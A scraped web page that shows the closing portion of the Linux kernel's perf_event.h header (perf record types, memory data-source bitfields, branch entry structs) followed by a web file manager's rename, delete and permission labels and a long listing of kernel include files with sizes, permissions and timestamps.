PERF_SAMPLE_PHYS_ADDR * { u64 size; * char data[size]; } && PERF_SAMPLE_AUX * { u64 data_page_size;} && PERF_SAMPLE_DATA_PAGE_SIZE * { u64 code_page_size;} && PERF_SAMPLE_CODE_PAGE_SIZE * }; */ PERF_RECORD_SAMPLE = 9, /* * The MMAP2 records are an augmented version of MMAP, they add * maj, min, ino numbers to be used to uniquely identify each mapping * * struct { * struct perf_event_header header; * * u32 pid, tid; * u64 addr; * u64 len; * u64 pgoff; * union { * struct { * u32 maj; * u32 min; * u64 ino; * u64 ino_generation; * }; * struct { * u8 build_id_size; * u8 __reserved_1; * u16 __reserved_2; * u8 build_id[20]; * }; * }; * u32 prot, flags; * char filename[]; * struct sample_id sample_id; * }; */ PERF_RECORD_MMAP2 = 10, /* * Records that new data landed in the AUX buffer part. * * struct { * struct perf_event_header header; * * u64 aux_offset; * u64 aux_size; * u64 flags; * struct sample_id sample_id; * }; */ PERF_RECORD_AUX = 11, /* * Indicates that instruction trace has started * * struct { * struct perf_event_header header; * u32 pid; * u32 tid; * struct sample_id sample_id; * }; */ PERF_RECORD_ITRACE_START = 12, /* * Records the dropped/lost sample number. * * struct { * struct perf_event_header header; * * u64 lost; * struct sample_id sample_id; * }; */ PERF_RECORD_LOST_SAMPLES = 13, /* * Records a context switch in or out (flagged by * PERF_RECORD_MISC_SWITCH_OUT). See also * PERF_RECORD_SWITCH_CPU_WIDE. * * struct { * struct perf_event_header header; * struct sample_id sample_id; * }; */ PERF_RECORD_SWITCH = 14, /* * CPU-wide version of PERF_RECORD_SWITCH with next_prev_pid and * next_prev_tid that are the next (switching out) or previous * (switching in) pid/tid. * * struct { * struct perf_event_header header; * u32 next_prev_pid; * u32 next_prev_tid; * struct sample_id sample_id; * }; */ PERF_RECORD_SWITCH_CPU_WIDE = 15, /* * struct { * struct perf_event_header header; * u32 pid; * u32 tid; * u64 nr_namespaces; * { u64 dev, inode; } [nr_namespaces]; * struct sample_id sample_id; * }; */ PERF_RECORD_NAMESPACES = 16, #ifndef __GENKSYMS__ /* * Record ksymbol register/unregister events: * * struct { * struct perf_event_header header; * u64 addr; * u32 len; * u16 ksym_type; * u16 flags; * char name[]; * struct sample_id sample_id; * }; */ PERF_RECORD_KSYMBOL = 17, /* * Record bpf events: * enum perf_bpf_event_type { * PERF_BPF_EVENT_UNKNOWN = 0, * PERF_BPF_EVENT_PROG_LOAD = 1, * PERF_BPF_EVENT_PROG_UNLOAD = 2, * }; * * struct { * struct perf_event_header header; * u16 type; * u16 flags; * u32 id; * u8 tag[BPF_TAG_SIZE]; * struct sample_id sample_id; * }; */ PERF_RECORD_BPF_EVENT = 18, /* * struct { * struct perf_event_header header; * u64 id; * char path[]; * struct sample_id sample_id; * }; */ PERF_RECORD_CGROUP = 19, /* * Records changes to kernel text i.e. self-modified code. 'old_len' is * the number of old bytes, 'new_len' is the number of new bytes. Either * 'old_len' or 'new_len' may be zero to indicate, for example, the * addition or removal of a trampoline. 'bytes' contains the old bytes * followed immediately by the new bytes. * * struct { * struct perf_event_header header; * u64 addr; * u16 old_len; * u16 new_len; * u8 bytes[]; * struct sample_id sample_id; * }; */ PERF_RECORD_TEXT_POKE = 20, #endif /* __GENKSYMS__ */ PERF_RECORD_MAX, /* non-ABI */ }; enum perf_record_ksymbol_type { PERF_RECORD_KSYMBOL_TYPE_UNKNOWN = 0, PERF_RECORD_KSYMBOL_TYPE_BPF = 1, PERF_RECORD_KSYMBOL_TYPE_MAX /* non-ABI */ }; #define PERF_RECORD_KSYMBOL_FLAGS_UNREGISTER (1 << 0) enum perf_bpf_event_type { PERF_BPF_EVENT_UNKNOWN = 0, PERF_BPF_EVENT_PROG_LOAD = 1, PERF_BPF_EVENT_PROG_UNLOAD = 2, PERF_BPF_EVENT_MAX, /* non-ABI */ }; #define PERF_MAX_STACK_DEPTH 127 #define PERF_MAX_CONTEXTS_PER_STACK 8 enum perf_callchain_context { PERF_CONTEXT_HV = (__u64)-32, PERF_CONTEXT_KERNEL = (__u64)-128, PERF_CONTEXT_USER = (__u64)-512, PERF_CONTEXT_GUEST = (__u64)-2048, PERF_CONTEXT_GUEST_KERNEL = (__u64)-2176, PERF_CONTEXT_GUEST_USER = (__u64)-2560, PERF_CONTEXT_MAX = (__u64)-4095, }; /** * PERF_RECORD_AUX::flags bits */ #define PERF_AUX_FLAG_TRUNCATED 0x01 /* record was truncated to fit */ #define PERF_AUX_FLAG_OVERWRITE 0x02 /* snapshot from overwrite mode */ #define PERF_AUX_FLAG_PARTIAL 0x04 /* record contains gaps */ #define PERF_AUX_FLAG_COLLISION 0x08 /* sample collided with another */ #define PERF_FLAG_FD_NO_GROUP (1UL << 0) #define PERF_FLAG_FD_OUTPUT (1UL << 1) #define PERF_FLAG_PID_CGROUP (1UL << 2) /* pid=cgroup id, per-cpu mode only */ #define PERF_FLAG_FD_CLOEXEC (1UL << 3) /* O_CLOEXEC */ #if defined(__LITTLE_ENDIAN_BITFIELD) union perf_mem_data_src { __u64 val; struct { __u64 mem_op:5, /* type of opcode */ mem_lvl:14, /* memory hierarchy level */ mem_snoop:5, /* snoop mode */ mem_lock:2, /* lock instr */ mem_dtlb:7, /* tlb access */ mem_lvl_num:4, /* memory hierarchy level number */ mem_remote:1, /* remote */ mem_snoopx:2, /* snoop mode, ext */ #ifndef __GENKSYMS__ mem_blk:3, /* access blocked */ mem_hops:3, /* hop level */ mem_rsvd:18; #else mem_rsvd:24; #endif /* __GENKSYMS__ */ }; }; #elif defined(__BIG_ENDIAN_BITFIELD) union perf_mem_data_src { __u64 val; struct { #ifndef __GENKSYMS__ __u64 mem_rsvd:18, mem_hops:3, /* hop level */ mem_blk:3, /* access blocked */ #else __u64 mem_rsvd:24, #endif /* __GENKSYMS__ */ mem_snoopx:2, /* snoop mode, ext */ mem_remote:1, /* remote */ mem_lvl_num:4, /* memory hierarchy level number */ mem_dtlb:7, /* tlb access */ mem_lock:2, /* lock instr */ mem_snoop:5, /* snoop mode */ mem_lvl:14, /* memory hierarchy level */ mem_op:5; /* type of opcode */ }; }; #else #error "Unknown endianness" #endif /* type of opcode (load/store/prefetch,code) */ #define PERF_MEM_OP_NA 0x01 /* not available */ #define PERF_MEM_OP_LOAD 0x02 /* load instruction */ #define PERF_MEM_OP_STORE 0x04 /* store instruction */ #define PERF_MEM_OP_PFETCH 0x08 /* prefetch */ #define PERF_MEM_OP_EXEC 0x10 /* code (execution) */ #define PERF_MEM_OP_SHIFT 0 /* * PERF_MEM_LVL_* namespace being depricated to some extent in the * favour of newer composite PERF_MEM_{LVLNUM_,REMOTE_,SNOOPX_} fields. * Supporting this namespace inorder to not break defined ABIs. * * memory hierarchy (memory level, hit or miss) */ #define PERF_MEM_LVL_NA 0x01 /* not available */ #define PERF_MEM_LVL_HIT 0x02 /* hit level */ #define PERF_MEM_LVL_MISS 0x04 /* miss level */ #define PERF_MEM_LVL_L1 0x08 /* L1 */ #define PERF_MEM_LVL_LFB 0x10 /* Line Fill Buffer */ #define PERF_MEM_LVL_L2 0x20 /* L2 */ #define PERF_MEM_LVL_L3 0x40 /* L3 */ #define PERF_MEM_LVL_LOC_RAM 0x80 /* Local DRAM */ #define PERF_MEM_LVL_REM_RAM1 0x100 /* Remote DRAM (1 hop) */ #define PERF_MEM_LVL_REM_RAM2 0x200 /* Remote DRAM (2 hops) */ #define PERF_MEM_LVL_REM_CCE1 0x400 /* Remote Cache (1 hop) */ #define PERF_MEM_LVL_REM_CCE2 0x800 /* Remote Cache (2 hops) */ #define PERF_MEM_LVL_IO 0x1000 /* I/O memory */ #define PERF_MEM_LVL_UNC 0x2000 /* Uncached memory */ #define PERF_MEM_LVL_SHIFT 5 #define PERF_MEM_REMOTE_REMOTE 0x01 /* Remote */ #define PERF_MEM_REMOTE_SHIFT 37 #define PERF_MEM_LVLNUM_L1 0x01 /* L1 */ #define PERF_MEM_LVLNUM_L2 0x02 /* L2 */ #define PERF_MEM_LVLNUM_L3 0x03 /* L3 */ #define PERF_MEM_LVLNUM_L4 0x04 /* L4 */ /* 5-0x8 available */ #define PERF_MEM_LVLNUM_CXL 0x09 /* CXL */ #define PERF_MEM_LVLNUM_IO 0x0a /* I/O */ #define PERF_MEM_LVLNUM_ANY_CACHE 0x0b /* Any cache */ #define PERF_MEM_LVLNUM_LFB 0x0c /* LFB */ #define PERF_MEM_LVLNUM_RAM 0x0d /* RAM */ #define PERF_MEM_LVLNUM_PMEM 0x0e /* PMEM */ #define PERF_MEM_LVLNUM_NA 0x0f /* N/A */ #define PERF_MEM_LVLNUM_SHIFT 33 /* snoop mode */ #define PERF_MEM_SNOOP_NA 0x01 /* not available */ #define PERF_MEM_SNOOP_NONE 0x02 /* no snoop */ #define PERF_MEM_SNOOP_HIT 0x04 /* snoop hit */ #define PERF_MEM_SNOOP_MISS 0x08 /* snoop miss */ #define PERF_MEM_SNOOP_HITM 0x10 /* snoop hit modified */ #define PERF_MEM_SNOOP_SHIFT 19 #define PERF_MEM_SNOOPX_FWD 0x01 /* forward */ #define PERF_MEM_SNOOPX_PEER 0x02 /* xfer from peer */ #define PERF_MEM_SNOOPX_SHIFT 38 /* locked instruction */ #define PERF_MEM_LOCK_NA 0x01 /* not available */ #define PERF_MEM_LOCK_LOCKED 0x02 /* locked transaction */ #define PERF_MEM_LOCK_SHIFT 24 /* TLB access */ #define PERF_MEM_TLB_NA 0x01 /* not available */ #define PERF_MEM_TLB_HIT 0x02 /* hit level */ #define PERF_MEM_TLB_MISS 0x04 /* miss level */ #define PERF_MEM_TLB_L1 0x08 /* L1 */ #define PERF_MEM_TLB_L2 0x10 /* L2 */ #define PERF_MEM_TLB_WK 0x20 /* Hardware Walker*/ #define PERF_MEM_TLB_OS 0x40 /* OS fault handler */ #define PERF_MEM_TLB_SHIFT 26 /* Access blocked */ #define PERF_MEM_BLK_NA 0x01 /* not available */ #define PERF_MEM_BLK_DATA 0x02 /* data could not be forwarded */ #define PERF_MEM_BLK_ADDR 0x04 /* address conflict */ #define PERF_MEM_BLK_SHIFT 40 /* hop level */ #define PERF_MEM_HOPS_0 0x01 /* remote core, same node */ #define PERF_MEM_HOPS_1 0x02 /* remote node, same socket */ #define PERF_MEM_HOPS_2 0x03 /* remote socket, same board */ #define PERF_MEM_HOPS_3 0x04 /* remote board */ /* 5-7 available */ #define PERF_MEM_HOPS_SHIFT 43 #define PERF_MEM_S(a, s) \ (((__u64)PERF_MEM_##a##_##s) << PERF_MEM_##a##_SHIFT) /* * single taken branch record layout: * * from: source instruction (may not always be a branch insn) * to: branch target * mispred: branch target was mispredicted * predicted: branch target was predicted * * support for mispred, predicted is optional. In case it * is not supported mispred = predicted = 0. * * in_tx: running in a hardware transaction * abort: aborting a hardware transaction * cycles: cycles from last branch (or 0 if not supported) * type: branch type * spec: branch speculation info (or 0 if not supported) */ struct perf_branch_entry { __u64 from; __u64 to; __u64 mispred:1, /* target mispredicted */ predicted:1,/* target predicted */ in_tx:1, /* in transaction */ abort:1, /* transaction abort */ cycles:16, /* cycle count to last branch */ type:4, /* branch type */ #ifndef __GENKSYMS__ spec:2, /* branch speculation info */ reserved:38; #else reserved:40; #endif /* __GENKSYMS__ */ }; #ifndef __GENKSYMS__ union perf_sample_weight { __u64 full; #if defined(__LITTLE_ENDIAN_BITFIELD) struct { __u32 var1_dw; __u16 var2_w; __u16 var3_w; }; #elif defined(__BIG_ENDIAN_BITFIELD) struct { __u16 var3_w; __u16 var2_w; __u32 var1_dw; }; #else #error "Unknown endianness" #endif }; #endif /* __GENKSYMS__ */ #endif /* _LINUX_PERF_EVENT_H */
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
..
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
android
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
byteorder
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
caif
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
can
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
cifs
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
dvb
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
genwqe
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
hdlc
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
hsi
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
iio
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
isdn
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
mmc
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
netfilter
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
netfilter_arp
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
netfilter_bridge
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
netfilter_ipv4
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
netfilter_ipv6
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
nfsd
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
raid
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
sched
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
spi
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
sunrpc
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
tc_act
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
tc_ematch
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
usb
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
wimax
DIR
-
drwxr-xr-x
2025-12-09 11:00:19
a.out.h
text/x-c
6.73 KB
-rw-r--r--
2025-12-08 09:06:43
acct.h
text/x-c
3.65 KB
-rw-r--r--
2025-12-08 09:06:42
adb.h
text/x-c
1.11 KB
-rw-r--r--
2025-12-08 09:06:42
adfs_fs.h
text/x-c
936 B
-rw-r--r--
2025-12-08 09:06:43
affs_hardblocks.h
text/x-c
1.51 KB
-rw-r--r--
2025-12-08 09:06:40
agpgart.h
text/x-c
3.85 KB
-rw-r--r--
2025-12-08 09:06:41
aio_abi.h
text/x-c
3.34 KB
-rw-r--r--
2025-12-08 09:06:42
am437x-vpfe.h
text/x-c
3.59 KB
-rw-r--r--
2025-12-08 09:06:43
apm_bios.h
text/x-c
3.6 KB
-rw-r--r--
2025-12-08 09:06:43
arcfb.h
text/x-c
213 B
-rw-r--r--
2025-12-08 09:06:42
arm_sdei.h
text/x-c
2.69 KB
-rw-r--r--
2025-12-08 09:06:42
aspeed-lpc-ctrl.h
text/x-c
1.74 KB
-rw-r--r--
2025-12-08 09:06:41
atalk.h
text/x-c
1023 B
-rw-r--r--
2025-12-08 09:06:41
atm.h
text/x-c
7.7 KB
-rw-r--r--
2025-12-08 09:06:40
atm_eni.h
text/x-c
648 B
-rw-r--r--
2025-12-08 09:06:40
atm_he.h
text/x-c
406 B
-rw-r--r--
2025-12-08 09:06:41
atm_idt77105.h
text/x-c
955 B
-rw-r--r--
2025-12-08 09:06:43
atm_nicstar.h
text/x-c
1.25 KB
-rw-r--r--
2025-12-08 09:06:40
atm_tcp.h
text/x-c
1.58 KB
-rw-r--r--
2025-12-08 09:06:42
atm_zatm.h
text/x-c
1.5 KB
-rw-r--r--
2025-12-08 09:06:41
atmapi.h
text/x-c
952 B
-rw-r--r--
2025-12-08 09:06:42
atmarp.h
text/x-c
1.27 KB
-rw-r--r--
2025-12-08 09:06:41
atmbr2684.h
text/x-c
3.19 KB
-rw-r--r--
2025-12-08 09:06:43
atmclip.h
text/x-c
576 B
-rw-r--r--
2025-12-08 09:06:40
atmdev.h
text/x-c
7.5 KB
-rw-r--r--
2025-12-08 09:06:43
atmioc.h
text/x-c
1.61 KB
-rw-r--r--
2025-12-08 09:06:41
atmlec.h
text/x-c
2.33 KB
-rw-r--r--
2025-12-08 09:06:41
atmmpc.h
text/x-c
4.13 KB
-rw-r--r--
2025-12-08 09:06:40
atmppp.h
text/x-c
639 B
-rw-r--r--
2025-12-08 09:06:42
atmsap.h
text/x-c
4.85 KB
-rw-r--r--
2025-12-08 09:06:41
atmsvc.h
text/x-c
1.81 KB
-rw-r--r--
2025-12-08 09:06:42
audit.h
text/x-c
19.92 KB
-rw-r--r--
2025-12-08 09:06:40
auto_dev-ioctl.h
text/x-c
4.87 KB
-rw-r--r--
2025-12-08 09:06:42
auto_fs.h
text/x-c
6.28 KB
-rw-r--r--
2025-12-08 09:06:42
auto_fs4.h
text/x-c
451 B
-rw-r--r--
2025-12-08 09:06:42
auxvec.h
text/x-c
1.56 KB
-rw-r--r--
2025-12-08 09:06:41
ax25.h
text/x-c
2.76 KB
-rw-r--r--
2025-12-08 09:06:43
b1lli.h
text/x-c
1.68 KB
-rw-r--r--
2025-12-08 09:06:41
batadv_packet.h
text/x-c
20.01 KB
-rw-r--r--
2025-12-08 09:06:41
batman_adv.h
text/x-c
11.7 KB
-rw-r--r--
2025-12-08 09:06:42
baycom.h
text/x-c
883 B
-rw-r--r--
2025-12-08 09:06:42
bcache.h
text/x-c
8.17 KB
-rw-r--r--
2025-12-08 09:06:41
bcm933xx_hcs.h
text/x-c
419 B
-rw-r--r--
2025-12-08 09:06:43
bfs_fs.h
text/x-c
1.85 KB
-rw-r--r--
2025-12-08 09:06:41
binfmts.h
text/x-c
628 B
-rw-r--r--
2025-12-08 09:06:40
blkpg.h
text/x-c
904 B
-rw-r--r--
2025-12-08 09:06:43
blktrace_api.h
text/x-c
4.59 KB
-rw-r--r--
2025-12-08 09:06:40
blkzoned.h
text/x-c
6.45 KB
-rw-r--r--
2025-12-08 09:06:42
bpf.h
text/x-c
223.3 KB
-rw-r--r--
2025-12-08 09:06:42
bpf_common.h
text/x-c
1.33 KB
-rw-r--r--
2025-12-08 09:06:42
bpf_perf_event.h
text/x-c
529 B
-rw-r--r--
2025-12-08 09:06:42
bpfilter.h
text/x-c
465 B
-rw-r--r--
2025-12-08 09:06:41
bpqether.h
text/x-c
981 B
-rw-r--r--
2025-12-08 09:06:42
bsg.h
text/x-c
2.44 KB
-rw-r--r--
2025-12-08 09:06:42
bt-bmc.h
text/x-c
572 B
-rw-r--r--
2025-12-08 09:06:42
btf.h
text/x-c
4.68 KB
-rw-r--r--
2025-12-08 09:06:42
btrfs.h
text/x-c
28.24 KB
-rw-r--r--
2025-12-08 09:06:42
btrfs_tree.h
text/x-c
24.69 KB
-rw-r--r--
2025-12-08 09:06:41
can.h
text/x-c
7.7 KB
-rw-r--r--
2025-12-08 09:06:41
capability.h
text/x-c
13.2 KB
-rw-r--r--
2025-12-08 09:06:41
capi.h
text/x-c
3.05 KB
-rw-r--r--
2025-12-08 09:06:40
cciss_defs.h
text/x-c
3.2 KB
-rw-r--r--
2025-12-08 09:06:42
cciss_ioctl.h
text/x-c
2.7 KB
-rw-r--r--
2025-12-08 09:06:42
cdrom.h
text/x-c
28.18 KB
-rw-r--r--
2025-12-08 09:06:41
cec-funcs.h
text/x-c
52.64 KB
-rw-r--r--
2025-12-08 09:06:42
cec.h
text/x-c
36.81 KB
-rw-r--r--
2025-12-08 09:06:42
cfm_bridge.h
text/x-c
1.42 KB
-rw-r--r--
2025-12-08 09:06:43
cgroupstats.h
text/x-c
2.17 KB
-rw-r--r--
2025-12-08 09:06:41
chio.h
text/x-c
5.22 KB
-rw-r--r--
2025-12-08 09:06:43
close_range.h
text/x-c
377 B
-rw-r--r--
2025-12-08 09:06:42
cm4000_cs.h
text/x-c
1.76 KB
-rw-r--r--
2025-12-08 09:06:43
cn_proc.h
text/x-c
3.38 KB
-rw-r--r--
2025-12-08 09:06:42
coda.h
text/x-c
17.09 KB
-rw-r--r--
2025-12-08 09:06:42
coda_psdev.h
text/x-c
783 B
-rw-r--r--
2025-12-08 09:06:42
coff.h
text/x-c
12.18 KB
-rw-r--r--
2025-12-08 09:06:40
connector.h
text/x-c
2.2 KB
-rw-r--r--
2025-12-08 09:06:41
const.h
text/x-c
788 B
-rw-r--r--
2025-12-08 09:06:40
coresight-stm.h
text/x-c
674 B
-rw-r--r--
2025-12-08 09:06:42
cramfs_fs.h
text/x-c
3.47 KB
-rw-r--r--
2025-12-08 09:06:42
cryptouser.h
text/x-c
3.31 KB
-rw-r--r--
2025-12-08 09:06:41
cuda.h
text/x-c
905 B
-rw-r--r--
2025-12-08 09:06:42
cyclades.h
text/x-c
16.71 KB
-rw-r--r--
2025-12-08 09:06:41
cycx_cfm.h
text/x-c
2.92 KB
-rw-r--r--
2025-12-08 09:06:42
dcbnl.h
text/x-c
24.65 KB
-rw-r--r--
2025-12-08 09:06:41
dccp.h
text/x-c
6.29 KB
-rw-r--r--
2025-12-08 09:06:41
devlink.h
text/x-c
21.05 KB
-rw-r--r--
2025-12-08 09:06:41
dlm.h
text/x-c
2.49 KB
-rw-r--r--
2025-12-08 09:06:41
dlm_device.h
text/x-c
2.48 KB
-rw-r--r--
2025-12-08 09:06:42
dlm_netlink.h
text/x-c
1.13 KB
-rw-r--r--
2025-12-08 09:06:42
dlm_plock.h
text/x-c
894 B
-rw-r--r--
2025-12-08 09:06:42
dlmconstants.h
text/x-c
4.96 KB
-rw-r--r--
2025-12-08 09:06:43
dm-ioctl.h
text/x-c
11.13 KB
-rw-r--r--
2025-12-08 09:06:42
dm-log-userspace.h
text/x-c
14.83 KB
-rw-r--r--
2025-12-08 09:06:41
dma-buf.h
text/x-c
5.12 KB
-rw-r--r--
2025-12-08 09:06:41
dn.h
text/x-c
4.53 KB
-rw-r--r--
2025-12-08 09:06:41
dqblk_xfs.h
text/x-c
9.03 KB
-rw-r--r--
2025-12-08 09:06:41
edd.h
text/x-c
5.47 KB
-rw-r--r--
2025-12-08 09:06:42
efs_fs_sb.h
text/x-c
2.17 KB
-rw-r--r--
2025-12-08 09:06:42
elf-em.h
text/x-c
2.14 KB
-rw-r--r--
2025-12-08 09:06:41
elf-fdpic.h
text/x-c
1.1 KB
-rw-r--r--
2025-12-08 09:06:42
elf.h
text/x-c
13.16 KB
-rw-r--r--
2025-12-08 09:06:41
elfcore.h
text/x-c
2.92 KB
-rw-r--r--
2025-12-08 09:06:41
errno.h
text/x-c
23 B
-rw-r--r--
2025-12-08 09:06:42
errqueue.h
text/x-c
1.44 KB
-rw-r--r--
2025-12-08 09:06:42
erspan.h
text/x-c
1.03 KB
-rw-r--r--
2025-12-08 09:06:41
ethtool.h
text/x-c
81.89 KB
-rw-r--r--
2025-12-08 09:06:42
ethtool_netlink.h
text/x-c
22.29 KB
-rw-r--r--
2025-12-08 09:06:42
eventpoll.h
text/x-c
2.67 KB
-rw-r--r--
2025-12-08 09:06:41
fadvise.h
text/x-c
842 B
-rw-r--r--
2025-12-08 09:06:40
falloc.h
text/x-c
3.5 KB
-rw-r--r--
2025-12-08 09:06:42
fanotify.h
text/x-c
5.22 KB
-rw-r--r--
2025-12-08 09:06:40
fb.h
text/x-c
16.09 KB
-rw-r--r--
2025-12-08 09:06:42
fcntl.h
text/x-c
4.08 KB
-rw-r--r--
2025-12-08 09:06:43
fd.h
text/x-c
11.4 KB
-rw-r--r--
2025-12-08 09:06:41
fdreg.h
text/x-c
5.29 KB
-rw-r--r--
2025-12-08 09:06:41
fib_rules.h
text/x-c
1.99 KB
-rw-r--r--
2025-12-08 09:06:40
fiemap.h
text/x-c
2.71 KB
-rw-r--r--
2025-12-08 09:06:41
filter.h
text/x-c
2.16 KB
-rw-r--r--
2025-12-08 09:06:43
firewire-cdev.h
text/x-c
42.86 KB
-rw-r--r--
2025-12-08 09:06:41
firewire-constants.h
text/x-c
3.16 KB
-rw-r--r--
2025-12-08 09:06:41
flat.h
text/x-c
2.1 KB
-rw-r--r--
2025-12-08 09:06:41
fou.h
text/x-c
694 B
-rw-r--r--
2025-12-08 09:06:42
fpga-dfl.h
text/x-c
8.52 KB
-rw-r--r--
2025-12-08 09:06:43
fs.h
text/x-c
13.11 KB
-rw-r--r--
2025-12-08 09:06:42
fsl_hypervisor.h
text/x-c
7.13 KB
-rw-r--r--
2025-12-08 09:06:42
fsmap.h
text/x-c
4.29 KB
-rw-r--r--
2025-12-08 09:06:42
fuse.h
text/x-c
22.92 KB
-rw-r--r--
2025-12-08 09:06:41
futex.h
text/x-c
4.88 KB
-rw-r--r--
2025-12-08 09:06:43
gameport.h
text/x-c
897 B
-rw-r--r--
2025-12-08 09:06:42
gen_stats.h
text/x-c
1.49 KB
-rw-r--r--
2025-12-08 09:06:42
genetlink.h
text/x-c
2.12 KB
-rw-r--r--
2025-12-08 09:06:42
gfs2_ondisk.h
text/x-c
14.4 KB
-rw-r--r--
2025-12-08 09:06:41
gigaset_dev.h
text/x-c
1.41 KB
-rw-r--r--
2025-12-08 09:06:41
gpio.h
text/x-c
6.59 KB
-rw-r--r--
2025-12-08 09:06:42
gsmmux.h
text/x-c
1.02 KB
-rw-r--r--
2025-12-08 09:06:40
gtp.h
text/x-c
681 B
-rw-r--r--
2025-12-08 09:06:41
hash_info.h
text/x-c
921 B
-rw-r--r--
2025-12-08 09:06:42
hdlc.h
text/x-c
637 B
-rw-r--r--
2025-12-08 09:06:42
hdlcdrv.h
text/x-c
2.84 KB
-rw-r--r--
2025-12-08 09:06:41
hdreg.h
text/x-c
22.17 KB
-rw-r--r--
2025-12-08 09:06:41
hid.h
text/x-c
1.86 KB
-rw-r--r--
2025-12-08 09:06:41
hiddev.h
text/x-c
6.2 KB
-rw-r--r--
2025-12-08 09:06:42
hidraw.h
text/x-c
1.95 KB
-rw-r--r--
2025-12-08 09:06:41
hpet.h
text/x-c
743 B
-rw-r--r--
2025-12-08 09:06:41
hsr_netlink.h
text/x-c
1.06 KB
-rw-r--r--
2025-12-08 09:06:43
hw_breakpoint.h
text/x-c
742 B
-rw-r--r--
2025-12-08 09:06:42
hyperv.h
text/x-c
10.89 KB
-rw-r--r--
2025-12-08 09:06:42
hysdn_if.h
text/plain
1.35 KB
-rw-r--r--
2025-12-08 09:06:42
i2c-dev.h
text/x-c
2.55 KB
-rw-r--r--
2025-12-08 09:06:42
i2c.h
text/x-c
6.96 KB
-rw-r--r--
2025-12-08 09:06:42
i2o-dev.h
text/x-c
11.28 KB
-rw-r--r--
2025-12-08 09:06:41
i8k.h
text/x-c
1.49 KB
-rw-r--r--
2025-12-08 09:06:43
icmp.h
text/x-c
2.91 KB
-rw-r--r--
2025-12-08 09:06:41
icmpv6.h
text/x-c
3.94 KB
-rw-r--r--
2025-12-08 09:06:43
idxd.h
text/x-c
8.22 KB
-rw-r--r--
2025-12-08 09:06:40
if.h
text/x-c
10.65 KB
-rw-r--r--
2025-12-08 09:06:41
if_addr.h
text/x-c
1.84 KB
-rw-r--r--
2025-12-08 09:06:41
if_addrlabel.h
text/x-c
721 B
-rw-r--r--
2025-12-08 09:06:42
if_alg.h
text/x-c
946 B
-rw-r--r--
2025-12-08 09:06:41
if_arcnet.h
text/x-c
3.63 KB
-rw-r--r--
2025-12-08 09:06:42
if_arp.h
text/x-c
6.42 KB
-rw-r--r--
2025-12-08 09:06:41
if_bonding.h
text/x-c
5.17 KB
-rw-r--r--
2025-12-08 09:06:41
if_bridge.h
text/x-c
19.06 KB
-rw-r--r--
2025-12-08 09:06:42
if_cablemodem.h
text/x-c
986 B
-rw-r--r--
2025-12-08 09:06:42
if_eql.h
text/x-c
1.32 KB
-rw-r--r--
2025-12-08 09:06:41
if_ether.h
text/x-c
8.05 KB
-rw-r--r--
2025-12-08 09:06:41
if_fc.h
text/x-c
1.7 KB
-rw-r--r--
2025-12-08 09:06:43
if_fddi.h
text/x-c
3.66 KB
-rw-r--r--
2025-12-08 09:06:42
if_frad.h
text/x-c
2.95 KB
-rw-r--r--
2025-12-08 09:06:41
if_hippi.h
text/x-c
4.14 KB
-rw-r--r--
2025-12-08 09:06:40
if_infiniband.h
text/x-c
1.22 KB
-rw-r--r--
2025-12-08 09:06:43
if_link.h
text/x-c
30.28 KB
-rw-r--r--
2025-12-08 09:06:42
if_ltalk.h
text/x-c
210 B
-rw-r--r--
2025-12-08 09:06:41
if_macsec.h
text/x-c
5.7 KB
-rw-r--r--
2025-12-08 09:06:41
if_packet.h
text/x-c
7.73 KB
-rw-r--r--
2025-12-08 09:06:42
if_phonet.h
text/x-c
424 B
-rw-r--r--
2025-12-08 09:06:41
if_plip.h
text/x-c
660 B
-rw-r--r--
2025-12-08 09:06:41
if_ppp.h
text/x-c
29 B
-rw-r--r--
2025-12-08 09:06:41
if_pppol2tp.h
text/x-c
3.21 KB
-rw-r--r--
2025-12-08 09:06:41
if_pppox.h
text/x-c
4.76 KB
-rw-r--r--
2025-12-08 09:06:41
if_slip.h
text/x-c
872 B
-rw-r--r--
2025-12-08 09:06:42
if_team.h
text/x-c
2.54 KB
-rw-r--r--
2025-12-08 09:06:41
if_tun.h
text/x-c
4 KB
-rw-r--r--
2025-12-08 09:06:41
if_tunnel.h
text/x-c
4.41 KB
-rw-r--r--
2025-12-08 09:06:41
if_vlan.h
text/x-c
1.79 KB
-rw-r--r--
2025-12-08 09:06:41
if_x25.h
text/x-c
881 B
-rw-r--r--
2025-12-08 09:06:43
if_xdp.h
text/x-c
2.94 KB
-rw-r--r--
2025-12-08 09:06:43
ife.h
text/x-c
351 B
-rw-r--r--
2025-12-08 09:06:41
igmp.h
text/x-c
2.99 KB
-rw-r--r--
2025-12-08 09:06:41
ila.h
text/x-c
1.22 KB
-rw-r--r--
2025-12-08 09:06:41
in.h
text/x-c
9.78 KB
-rw-r--r--
2025-12-08 09:06:41
in6.h
text/x-c
7.26 KB
-rw-r--r--
2025-12-08 09:06:42
in_route.h
text/x-c
936 B
-rw-r--r--
2025-12-08 09:06:43
inet_diag.h
text/x-c
4.56 KB
-rw-r--r--
2025-12-08 09:06:40
inotify.h
text/x-c
3.21 KB
-rw-r--r--
